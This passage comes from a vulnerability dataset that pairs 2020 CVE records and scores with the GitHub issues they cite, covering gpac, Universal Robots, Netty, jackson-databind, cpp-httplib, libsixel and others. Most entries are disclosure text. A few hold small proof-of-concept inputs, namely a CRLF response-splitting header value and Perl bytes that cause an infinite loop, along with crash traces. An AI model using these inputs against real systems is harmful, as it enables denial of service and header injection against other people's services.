/home/dungnguyen/fuzz/gpac/src/isomedia/box_funcs.c:1532 #16 0x6c6456 in gf_isom_box_parse_ex /home/dungnguyen/fuzz/gpac/src/isomedia/box_funcs.c:210 #17 0x6c6e02 in gf_isom_box_array_read_ex /home/dungnguyen/fuzz/gpac/src/isomedia/box_funcs.c:1425 #18 0xae3444 in moov_Read /home/dungnguyen/fuzz/gpac/src/isomedia/box_code_base.c:3749 #19 0x6c7764 in gf_isom_box_read /home/dungnguyen/fuzz/gpac/src/isomedia/box_funcs.c:1532 #20 0x6c7764 in gf_isom_box_parse_ex /home/dungnguyen/fuzz/gpac/src/isomedia/box_funcs.c:210 #21 0x6c7fb4 in gf_isom_parse_root_box /home/dungnguyen/fuzz/gpac/src/isomedia/box_funcs.c:42 #22 0x6dd940 in gf_isom_parse_movie_boxes /home/dungnguyen/fuzz/gpac/src/isomedia/isom_intern.c:207 #23 0x6e05d3 in gf_isom_parse_movie_boxes /home/dungnguyen/fuzz/gpac/src/isomedia/isom_intern.c:195 #24 0x6e05d3 in gf_isom_open_file /home/dungnguyen/fuzz/gpac/src/isomedia/isom_intern.c:616 #25 0x43375d in mp4boxMain /home/dungnguyen/fuzz/gpac/applications/mp4box/main.c:4814 #26 0x7fca8b87382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #27 0x41e4f8 in _start (/home/dungnguyen/PoCs/gpac_new/MP4Box+0x41e4f8) 0x60400000dde8 is located 24 bytes inside of 48-byte region [0x60400000ddd0,0x60400000de00) freed by thread T0 here: #0 0x7fca8c61732a in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9832a) #1 0x6c5f9f in gf_isom_box_del /home/dungnguyen/fuzz/gpac/src/isomedia/box_funcs.c:1512 previously allocated by thread T0 here: #0 0x7fca8c617662 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98662) #1 0xadb68d in esds_New /home/dungnguyen/fuzz/gpac/src/isomedia/box_code_base.c:1287 SUMMARY: AddressSanitizer: heap-use-after-free /home/dungnguyen/fuzz/gpac/src/isomedia/box_funcs.c:1504 gf_isom_box_del ~~~

3 UAF bugs in box_funcs.c

https://api.github.com/repos/gpac/gpac/issues/1440/comments

4

2020-03-24T17:16:05Z

2020-03-26T19:28:46Z

https://github.com/gpac/gpac/issues/1440

587,134,103

1,440

1,159

CVE-2020-10266

2020-04-06T12:15:12.957

UR+ (Universal Robots+) is a platform of hardware and software component sellers, for Universal Robots robots. When installing any of these components in the robots (e.g. in the UR10), no integrity checks are performed. Moreover, the SDK for making such components can be easily obtained from Universal Robots. An attacker could exploit this flaw by crafting a custom component with the SDK, performing Person-In-The-Middle attacks (PITM) and shipping the maliciously-crafted component on demand.

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[ { "source": "cve@aliasrobotics.com", "tags": [ "Third Party Advisory" ], "url": "https://github.com/aliasrobotics/RVD/issues/1487" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://github.com/aliasrobotics/RVD/issues/1487" } ]

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[ "345" ]

345

https://github.com/aliasrobotics/RVD/issues/1487

[ "Third Party Advisory" ]

github.com

[ "aliasrobotics", "RVD" ]

```yaml { "id": 1487, "title": "RVD#1487: No integrity checks on UR+ platform artifacts when installed in the robot", "type": "vulnerability", "description": "UR+ (Universal Robots+) is a platform of hardware and software component sellers, for Universal Robots robots. When installing any of these components in the robots (e.g. in the UR10), no integrity checks are performed. Moreover, the SDK for making such components can be easily obtained from Universal Robots. An attacker could exploit this flaw by crafting a custom component with the SDK, performing Person-In-The-Middle attacks (PITM) and shipping the maliciously-crafted component on demand.", "cwe": "CWE-353 (Missing Support for Integrity Check)", "cve": CVE-2020-10266, "keywords": [ "Universal Robots" ], "system": "CB3 SW Versions 3.3 up to 3.12.1", "vendor": "Universal Robots", "severity": { "rvss-score": 10.0, "rvss-vector": "RVSS:1.0/AV:AN/AC:L/PR:N/UI:R/Y:Z/S:U/C:H/I:H/A:H/H:H", "severity-description": "critical", "cvss-score": 8.8, "cvss-vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" }, "links": [ "https://www.universal-robots.com/plus/", "https://www.universal-robots.com/plus/developer/", "https://github.com/aliasrobotics/RVD/issues/1487" ], "flaw": { "phase": "testing", "specificity": "general issue", "architectural-location": "platform code", "application": "industrial robot manipulator", "subsystem": "manipulation:actuation", "package": "libc6 2.19-11 i386", "languages": "C", "date-detected": null, "detected-by": "Victor Mayoral Vilches <victor@aliasrobotics.com>, Mike Karamousadakis, Lander Usategui San Juan", "detected-by-method": "testing", "date-reported": "2020-04-03", "reported-by": "Victor Mayoral Vilches <victor@aliasrobotics.com>", "reported-by-relationship": "security researcher", "issue": "https://github.com/aliasrobotics/RVD/issues/1487", "reproducibility": "always", "trace": "N/A", "reproduction": "https://www.youtube.com/watch?v=y4AB-l-zFR4", "reproduction-image": "Not available" }, "exploitation": { "description": "The lack of integrity checks in the URCaps downloaded from UR+ platform allow an attacker to take complete control of the robot and compromise confidentiality, integrity and availability. The UR+ SDK is widely available which allow malicious attackers to 'cook' malicious URCaps and ship them to targets via PITM attacks. User Interaction is required in the sense that she/he would need to install the .urcap in the robot.", "exploitation-image": "Not available", "exploitation-vector": "Not available" }, "mitigation": { "description": "Digitally sign the UR+ platform components and check the signature during the intalation process.", "pull-request": "Not available", "date-mitigation": null } } ```

RVD#1487: No integrity checks on UR+ platform artifacts when installed in the robot

https://api.github.com/repos/aliasrobotics/RVD/issues/1487/comments

1

2020-04-03T14:22:23Z

2020-09-30T11:00:13Z

https://github.com/aliasrobotics/RVD/issues/1487

593,418,549

1,487

1,160

CVE-2020-10267

2020-04-06T12:15:13.033

Universal Robots control box CB 3.1 across firmware versions (tested on 1.12.1, 1.12, 1.11 and 1.10) does not encrypt or protect in any way the intellectual property artifacts installed from the UR+ platform of hardware and software components (URCaps). These files (*.urcaps) are stored under '/root/.urcaps' as plain zip files containing all the logic to add functionality to the UR3, UR5 and UR10 robots. This flaw allows attackers with access to the robot or the robot network (while in combination with other flaws) to retrieve and easily exfiltrate all installed intellectual property.

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[ "312" ]

312

https://github.com/aliasrobotics/RVD/issues/1489

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "aliasrobotics", "RVD" ]

```yaml { "id": 1489, "title": "RVD#1489: Unprotected intelectual property in Universal Robots controller CB 3.1 across firmware versions", "type": "vulnerability", "description": "Universal Robots control box CB 3.1 across firmware versions (tested on 3.13.0, 3.12.1, 3.12, 3.11 and 3.10.0) does not encrypt or protect in any way the intellectual property artifacts installed from the UR+ platform of hardware and software components (URCaps). These files (*.urcaps) are stored under '/root/.urcaps' as plain zip files containing all the logic to add functionality to the UR3, UR5 and UR10 robots. This flaw allows attackers with access to the robot or the robot network (while in combination with other flaws) to retrieve and easily exfiltrate all installed intellectual property.", "cwe": "CWE-311 (Missing Encryption of Sensitive Data)", "cve": CVE-2020-10267, "keywords": [ "Universal Robots" ], "system": "UR3, UR5 and UR10", "vendor": "Universal Robots", "severity": { "rvss-score": 6.5, "rvss-vector": "RVSS:1.0/AV:AN/AC:L/PR:N/UI:N/Y:Z/S:U/C:H/I:N/A:N/H:N", "severity-description": "high", "cvss-score": 7.5, "cvss-vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" }, "links": [ "https://www.universal-robots.com/plus/", "https://github.com/aliasrobotics/RVD/issues/1489" ], "flaw": { "phase": "testing", "specificity": "general issue", "architectural-location": "platform code", "application": "industrial robot manipulator", "subsystem": "manipulation:actuation", "package": "libc6 2.19-11 i386", "languages": "C", "date-detected": null, "detected-by": "V\u00edctor Mayoral Vilches <victor@aliasrobotics.com>", "detected-by-method": "testing", "date-reported": "2020-04-03", "reported-by": "V\u00edctor Mayoral Vilches <victor@aliasrobotics.com>", "reported-by-relationship": "security researcher", "issue": "https://github.com/aliasrobotics/RVD/issues/1489", "reproducibility": "always", "trace": "N/A", "reproduction": "https://asciinema.org/a/EJ5ZzqAbiVvPLyNABXyOk3iez", "reproduction-image": "Not available" }, "exploitation": { "description": "Since URCaps aren't secured, its extraction requires attackers to access the file system (remotely or locally) and extract it from '/root/.urcaps/' folder. Resulting files are plain zip files.", "exploitation-image": "Not available", "exploitation-vector": "Not available" }, "mitigation": { "description": "Use a combination of digital encryption and signatures to protect installed intellectual property. Ensure that file system where these file reside is read-only except for authorized modifications.", "pull-request": "Not available", "date-mitigation": null } } ```

RVD#1489: Unprotected intelectual property in Universal Robots controller CB 3.1 across firmware versions

https://api.github.com/repos/aliasrobotics/RVD/issues/1489/comments

2

2020-04-03T14:28:43Z

2020-04-29T17:37:33Z

https://github.com/aliasrobotics/RVD/issues/1489

593,422,790

1,489

1,161

CVE-2013-7488

2020-04-07T18:15:13.117

perl-Convert-ASN1 (aka the Convert::ASN1 module for Perl) through 0.27 allows remote attackers to cause an infinite loop via unexpected input.

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[ "835" ]

835

https://github.com/gbarr/perl-Convert-ASN1/issues/14

[ "Exploit", "Third Party Advisory" ]

github.com

[ "gbarr", "perl-Convert-ASN1" ]

The following test of decoding unsafe input will make an infinite loop spewing warnings in 0.26: ``` perl use Convert::ASN1; my $asn = Convert::ASN1->new; $asn->prepare(q< [APPLICATION 7] SEQUENCE { int INTEGER } >); my $out; $out = $asn->decode( pack("H*", "dfccd3fde3") ); $out = $asn->decode( pack("H*", "b0805f92cb") ); ``` I ran random 5-byte strings to find two repeatable examples. Fix: Add a position check to the two do loops on lines 636 and 690 of _decode.pm: ``` perl do { $tag .= substr($_[0],$pos++,1); $b = ord substr($tag,-1); } while($b & 0x80 && $pos < $end); ``` This can happen in Convert::PEM when an incorrect password is used. See [RT 27574](https://rt.cpan.org/Ticket/Display.html?id=27574) for an example.

Unsafe decoding creates infinite loop

https://api.github.com/repos/gbarr/perl-Convert-ASN1/issues/14/comments

5

2013-10-08T23:35:28Z

2021-05-23T20:08:56Z

https://github.com/gbarr/perl-Convert-ASN1/issues/14

20,714,227

14

1,162

CVE-2015-9544

2020-04-07T18:15:13.180

An issue was discovered in xdLocalStorage through 2.0.5. The receiveMessage() function in xdLocalStoragePostMessageApi.js does not implement any validation of the origin of web messages. Remote attackers who can entice a user to load a malicious site can exploit this issue to impact the confidentiality and integrity of data in the local storage of the vulnerable site via malicious web messages.

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[ "20" ]

20

https://github.com/ofirdagan/cross-domain-local-storage/issues/17

[ "Patch", "Third Party Advisory" ]

github.com

[ "ofirdagan", "cross-domain-local-storage" ]

There doesn't appear to be a programmatic way to define a whitelist of origins that the iframe will accept requests from. This is something that's recommended by the `postMessage` (API documentation)[https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage]. It suggests that the receiver of function should "always verify the sender's identity". By whitelisting, it prevents xdlocalstore from leaking potentially sensitive information

Restricting domain by origins

https://api.github.com/repos/ofirdagan/cross-domain-local-storage/issues/17/comments

0

2015-08-13T00:40:18Z

2015-08-13T02:05:17Z

https://github.com/ofirdagan/cross-domain-local-storage/issues/17

100,665,577

17

1,163

CVE-2020-11612

2020-04-07T18:15:13.697

The ZlibDecoders in Netty 4.1.x before 4.1.46 allow for unbounded memory allocation while decoding a ZlibEncoded byte stream. An attacker could send a large ZlibEncoded byte stream to the Netty server, forcing the server to allocate all of its free memory to a single decoder.

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[ "770" ]

770

https://github.com/netty/netty/issues/6168

[ "Third Party Advisory" ]

github.com

[ "netty", "netty" ]

### Expected behavior To protect against OOME the compression and decompression codecs should explicitly limit the amount of data they compress and decompress. We may be vulnerable to OOME from large or malicious input. ### Actual behavior In light of https://github.com/netty/netty/pull/5997 most of the compression/decompression codecs don't enforce limits on buffer allocation sizes. ### Steps to reproduce N/A ### Minimal yet complete reproducer code (or URL to code) N/A ### Netty version 4.1.7-SNAPSHOT ### JVM version (e.g. `java -version`) N/A ### OS version (e.g. `uname -a`) N/A

Compression/Decompression Codecs should enforce memory allocation size limits

https://api.github.com/repos/netty/netty/issues/6168/comments

2

2016-12-30T18:14:58Z

2020-01-31T14:05:04Z

https://github.com/netty/netty/issues/6168

198,178,345

6,168

1,164

CVE-2020-11619

2020-04-07T23:15:12.077

FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to org.springframework.aop.config.MethodLocatingFactoryBean (aka spring-aop).

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[ "502" ]

502

https://github.com/FasterXML/jackson-databind/issues/2680

[ "Issue Tracking", "Patch", "Third Party Advisory" ]

github.com

[ "FasterXML", "jackson-databind" ]

Another gadget type(s) reported regarding class(es) of `org.springframework:spring-aop`. library. See https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062 for description of the general problem. Type: SSRF Mitre id: CVE-2020-11619 Reporter: Bui Duong from Viettel Cyber Security Fix will be included in: * 2.9.10.4 * Does not affect 2.10.0 and later

Block one more gadget type (SSRF, spring-jpa, CVE-2020-11619)

https://api.github.com/repos/FasterXML/jackson-databind/issues/2680/comments

0

2020-04-07T01:41:49Z

2020-12-02T03:59:03Z

https://github.com/FasterXML/jackson-databind/issues/2680

595,531,291

2,680

1,165

CVE-2020-11620

2020-04-07T23:15:12.140

FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.jelly.impl.Embedded (aka commons-jelly).

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[ "502" ]

502

https://github.com/FasterXML/jackson-databind/issues/2682

[ "Issue Tracking", "Third Party Advisory" ]

github.com

[ "FasterXML", "jackson-databind" ]

Another gadget type(s) reported regarding class(es) of `commons-jelly:commons-jelly`. library. See https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062 for description of the general problem. Mitre id: CVE-2020-11620 Reporter(s): * r00t4dm from A-TEAM of Legendsec at Qi'anxin Group * Maoxin Lin of Dbappsecurity Team Fix will be included in: * 2.9.10.4 * Does not affect 2.10.0 and later

Block one more gadget type (commons-jelly, CVE-2020-11620)

https://api.github.com/repos/FasterXML/jackson-databind/issues/2682/comments

0

2020-04-07T15:54:48Z

2020-04-11T19:23:25Z

https://github.com/FasterXML/jackson-databind/issues/2682

595,974,605

2,682

1,166

CVE-2018-21034

2020-04-09T17:15:12.703

In Argo versions prior to v1.5.0-rc1, it was possible for authenticated Argo users to submit API calls to retrieve secrets and other manifests which were stored within git.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/argoproj/argo-cd/blob/a1afe44066fcd0a0ab90a02a23177164bbad42cf/util/diff/diff.go#L399" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/argoproj/argo-cd/issues/470" }, { "source": "cve@mitre.org", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/argoproj/argo-cd/pull/3088" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://www.soluble.ai/blog/argo-cves-2020" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/argoproj/argo-cd/blob/a1afe44066fcd0a0ab90a02a23177164bbad42cf/util/diff/diff.go#L399" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://github.com/argoproj/argo-cd/issues/470" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/argoproj/argo-cd/pull/3088" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://www.soluble.ai/blog/argo-cves-2020" } ]

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[ "200" ]

200

https://github.com/argoproj/argo-cd/issues/470

[ "Third Party Advisory" ]

github.com

[ "argoproj", "argo-cd" ]

We currently treat secrets the same as any other k8s object, displaying the YAML/JSON contents in the UI. But secret values need to be redacted or a separate RBAC rule to view them.

K8s secrets need to be redacted in API server

https://api.github.com/repos/argoproj/argo-cd/issues/470/comments

0

2018-07-26T23:15:26Z

2018-09-07T20:51:32Z

https://github.com/argoproj/argo-cd/issues/470

345,036,909

470

1,167

CVE-2020-11709

2020-04-12T14:15:10.750

cpp-httplib through 0.5.8 does not filter \r\n in parameters passed into the set_redirect and set_header functions, which creates possibilities for CRLF injection and HTTP response splitting in some specific contexts.

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[ "74" ]

74

https://github.com/yhirose/cpp-httplib/issues/425

[ "Exploit", "Third Party Advisory" ]

github.com

[ "yhirose", "cpp-httplib" ]

ref: https://owasp.org/www-community/attacks/HTTP_Response_Splitting ### Analysis ```cpp // L2766 inline void Response::set_header(const char *key, const char *val) { headers.emplace(key, val); } inline void Response::set_header(const char *key, const std::string &val) { headers.emplace(key, val); } inline void Response::set_redirect(const char *url) { set_header("Location", url); status = 302; } ... // L3090 inline bool Server::write_response(Stream &strm, bool last_connection, const Request &req, Response &res) { ... if (!detail::write_headers(bstrm, res, Headers())) { return false; } ... // L1967 template <typename T> inline ssize_t write_headers(Stream &strm, const T &info, const Headers &headers) { ssize_t write_len = 0; for (const auto &x : info.headers) { ... // write_format never replaces/parses \r\n in x.first.c_str() or x.second.c_str() strm.write_format("%s: %s\r\n", x.first.c_str(), x.second.c_str()); ... } for (const auto &x : headers) { ... // write_format never replaces/parses \r\n in x.first.c_str() or x.second.c_str() strm.write_format("%s: %s\r\n", x.first.c_str(), x.second.c_str()); ... } ``` ### PoC ```cpp #include "cpp-httplib/httplib.h" using namespace httplib; int main() { Server svr; svr.Get("/1", [](const Request& req, Response& res) { res.set_redirect("1\r\nSet-Cookie: a=1"); }); svr.Get("/2", [](const Request& req, Response& res) { res.set_header("a", "1\r\nSet-Cookie: a=1"); }); svr.listen("localhost", 3000); } ``` Lastly, this library is gorgeous. Thank you!!

set_redirect & set_header are susceptible to http response splitting attack

https://api.github.com/repos/yhirose/cpp-httplib/issues/425/comments

4

2020-04-11T03:38:58Z

2020-04-14T12:30:06Z

https://github.com/yhirose/cpp-httplib/issues/425

598,181,627

425

1,168

CVE-2020-11721

2020-04-12T19:15:10.367

load_png in loader.c in libsixel.a in libsixel 1.8.6 has an uninitialized pointer leading to an invalid call to free, which can cause a denial of service.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/saitoha/libsixel/issues/134" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/saitoha/libsixel/issues/134" } ]

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[ "824" ]

824

https://github.com/saitoha/libsixel/issues/134

[ "Exploit", "Third Party Advisory" ]

github.com

[ "saitoha", "libsixel" ]

`load_png` has a pointer `rows`, which should be set to NULL, otherwise `cleanup` code would use(calling `free`) it. binary: img2sixel file: loader.c function: load_png poc: [poc.zip](https://github.com/saitoha/libsixel/files/4464131/poc.zip) result: ``` #0 __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:51 #1 0x00007ffff6fcf801 in __GI_abort () at abort.c:79 #2 0x00007ffff7018897 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7145b9a "%s\n") at ../sysdeps/posix/libc_fatal.c:181 #3 0x00007ffff701f90a in malloc_printerr (str=str@entry=0x7ffff7143d88 "free(): invalid pointer") at malloc.c:5350 #4 0x00007ffff7026e1c in _int_free (have_lock=0x0, p=0x65a5b8, av=0x7ffff737ac40 <main_arena>) at malloc.c:4157 #5 __GI___libc_free (mem=0x65a5c8) at malloc.c:3124 #6 0x0000000000426701 in load_png (result=<optimized out>, buffer=<optimized out>, size=<optimized out>, psx=<optimized out>, psy=0x65a5dc, ppalette=<optimized out>, pncolors=0x65a5e0, reqcolors=0x100, pixelformat=0x65a5e4, bgcolor=0x0, transparent=0x65a5f8, allocator=0x652260) at loader.c:633 #7 0x0000000000410e2b in load_with_builtin (pchunk=<optimized out>, fstatic=0x0, fuse_palette=0x1, reqcolors=<optimized out>, bgcolor=<optimized out>, loop_control=0x0, fn_load=<optimized out>, context=<optimized out>) at loader.c:889 #8 sixel_helper_load_image_file (filename=<optimized out>, fstatic=0x0, fuse_palette=0x1, reqcolors=0x100, bgcolor=<optimized out>, loop_control=0x0, fn_load=<optimized out>, finsecure=<optimized out>, cancel_flag=<optimized out>, context=<optimized out>, allocator=<optimized out>) at loader.c:1418 #9 0x0000000000403d93 in sixel_encoder_encode (encoder=0x652290, filename=0x7fffffffe634 "/tmp/crashes/id:000001,sig:11,src:000624,op:havoc,rep:4") at encoder.c:1743 #10 0x000000000040272d in main (argc=<optimized out>, argc@entry=0x2, argv=<optimized out>, argv@entry=0x7fffffffe388) at img2sixel.c:457 #11 0x00007ffff6fb0b97 in __libc_start_main (main=0x402010 <main>, argc=0x2, argv=0x7fffffffe388, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe378) at ../csu/libc-start.c:310 #12 0x0000000000401f4a in _start () ```

Invalid free wild pointer lead to DOS in load_png in loader.c

https://api.github.com/repos/saitoha/libsixel/issues/134/comments

12

2020-04-11T06:09:36Z

2021-06-10T06:23:25Z

https://github.com/saitoha/libsixel/issues/134

598,200,091

134

1,169

CVE-2020-11005

2020-04-14T23:15:12.090

The WindowsHello open source library (NuGet HaemmerElectronics.SeppPenner.WindowsHello), before version 1.0.4, has a vulnerability where encrypted data could potentially be decrypted without needing authentication. If the library is used to encrypt text and write the output to a txt file, another executable could be able to decrypt the text using the static method NCryptDecrypt from this same library without the need to use Windows Hello Authentication again. This has been patched in version 1.0.4.

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[ { "source": "security-advisories@github.com", "tags": [ "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/SeppPenner/WindowsHello/issues/3" }, { "source": "security-advisories@github.com", "tags": [ "Third Party Advisory" ], "url": "https://github.com/SeppPenner/WindowsHello/security/advisories/GHSA-wvpv-ffcv-r6cw" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/SeppPenner/WindowsHello/issues/3" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://github.com/SeppPenner/WindowsHello/security/advisories/GHSA-wvpv-ffcv-r6cw" } ]

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[ "327" ]

327

https://github.com/SeppPenner/WindowsHello/issues/3

[ "Issue Tracking", "Third Party Advisory" ]

github.com

[ "SeppPenner", "WindowsHello" ]

If I use this library to encrypt text and write the output to a txt file, could another executable be able to decrypt the text using the static method `NCryptDecrypt` from this same library, without the need to use Windows Hello Authentication? Maybe for somebody the answer to this question is clear from the code, but I'm just learning, and I do it in my spare time. Thanks.

[Question] Security of the Encrypted data

https://api.github.com/repos/SeppPenner/WindowsHello/issues/3/comments

25

2019-08-22T02:16:23Z

2023-04-07T14:00:08Z

https://github.com/SeppPenner/WindowsHello/issues/3

483,733,192

3

1,170

CVE-2020-10699

2020-04-15T14:15:19.873

A flaw was found in Linux, in targetcli-fb versions 2.1.50 and 2.1.51 where the socket used by targetclid was world-writable. If a system enables the targetclid socket, a local attacker can use this flaw to modify the iSCSI configuration and escalate their privileges to root.

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[ { "source": "secalert@redhat.com", "tags": [ "Issue Tracking", "Patch", "Third Party Advisory" ], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10699" }, { "source": "secalert@redhat.com", "tags": [ "Third Party Advisory" ], "url": "https://github.com/open-iscsi/targetcli-fb/issues/162" }, { "source": "secalert@redhat.com", "tags": [ "Third Party Advisory" ], "url": "https://security.gentoo.org/glsa/202008-22" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Issue Tracking", "Patch", "Third Party Advisory" ], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10699" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://github.com/open-iscsi/targetcli-fb/issues/162" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://security.gentoo.org/glsa/202008-22" } ]

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[ "732" ]

732

https://github.com/open-iscsi/targetcli-fb/issues/162

[ "Third Party Advisory" ]

github.com

[ "open-iscsi", "targetcli-fb" ]

The systemd socket unit fails to specify any `SocketMode` so the socket is world writable (0666) - as such any user can connect to it and send commands to targetclid without authentication. This is a likely a security vulnerability. https://github.com/open-iscsi/targetcli-fb/blob/23877ab4afbf0c2fe4092936261d92d7b7fbff11/systemd/targetclid.socket#L6

/var/run/targetclid.sock is world writable

https://api.github.com/repos/open-iscsi/targetcli-fb/issues/162/comments

13

2020-03-23T05:08:02Z

2020-04-01T14:58:51Z

https://github.com/open-iscsi/targetcli-fb/issues/162

585,933,826

162

1,171

CVE-2020-11872

2020-04-17T05:15:13.113

The Cloud Functions subsystem in OpenTrace 1.0 might allow fabrication attacks by making billions of TempID requests before an AES-256-GCM key rotation occurs.

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[ { "source": "cve@mitre.org", "tags": [ "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/opentrace-community/opentrace-cloud-functions/issues/7" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/opentrace-community/opentrace-cloud-functions/issues/7" } ]

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[ "327" ]

327

https://github.com/opentrace-community/opentrace-cloud-functions/issues/7

[ "Issue Tracking", "Third Party Advisory" ]

github.com

[ "opentrace-community", "opentrace-cloud-functions" ]

The current implementation does not follow NIST Special Publication 800-38D, in particular Section 8.2 IV Constructions and 8.3 Constraints on the Number of Invocations regarding the secret key. To mitigate 8.2: IVs can be converted to deterministic construction per 8.2.1. To mitigate 8.3: Temporary IDs should use an ephemeral key derived from the secret key and uid values, so that the same key is not used for more than 2^32 operations. The current implementation may permit an adversary to fabricate IDs or Upload Tokens, if they collect duplicated IVs or more than 2^32 encryption operations are performed against the same key.

Incorrect IV Initialisation for AES-256-GCM and Constraints on the Number of Invocations

https://api.github.com/repos/opentrace-community/opentrace-cloud-functions/issues/7/comments

7

2020-04-13T09:37:43Z

2020-05-04T11:55:03Z

https://github.com/opentrace-community/opentrace-cloud-functions/issues/7

598,786,965

7

1,172

CVE-2020-11887

2020-04-17T21:15:13.273

svg2png 4.1.1 allows XSS with resultant SSRF via JavaScript inside an SVG document.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/domenic/svg2png/issues/117" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/domenic/svg2png/issues/117" } ]

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[ "79" ]

79

https://github.com/domenic/svg2png/issues/117

[ "Exploit", "Third Party Advisory" ]

github.com

[ "domenic", "svg2png" ]

this package uses phantomjs to render a xml snippet to image，thus the xml can be any html ,script. As the render process runs at backend,so there are ssrf and server side xss risks.

SSRF and Server Side XSS

https://api.github.com/repos/domenic/svg2png/issues/117/comments

4

2020-04-17T02:35:29Z

2025-06-01T04:02:34Z

https://github.com/domenic/svg2png/issues/117

601,659,481

117

1,173

CVE-2020-11894

2020-04-19T19:15:12.477

Ming (aka libming) 0.4.8 has a heap-based buffer over-read (8 bytes) in the function decompileIF() in decompile.c.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.4, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 4.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.1, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.2, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/libming/libming/issues/196" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/libming/libming/issues/196" } ]

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[ "125" ]

125

https://github.com/libming/libming/issues/196

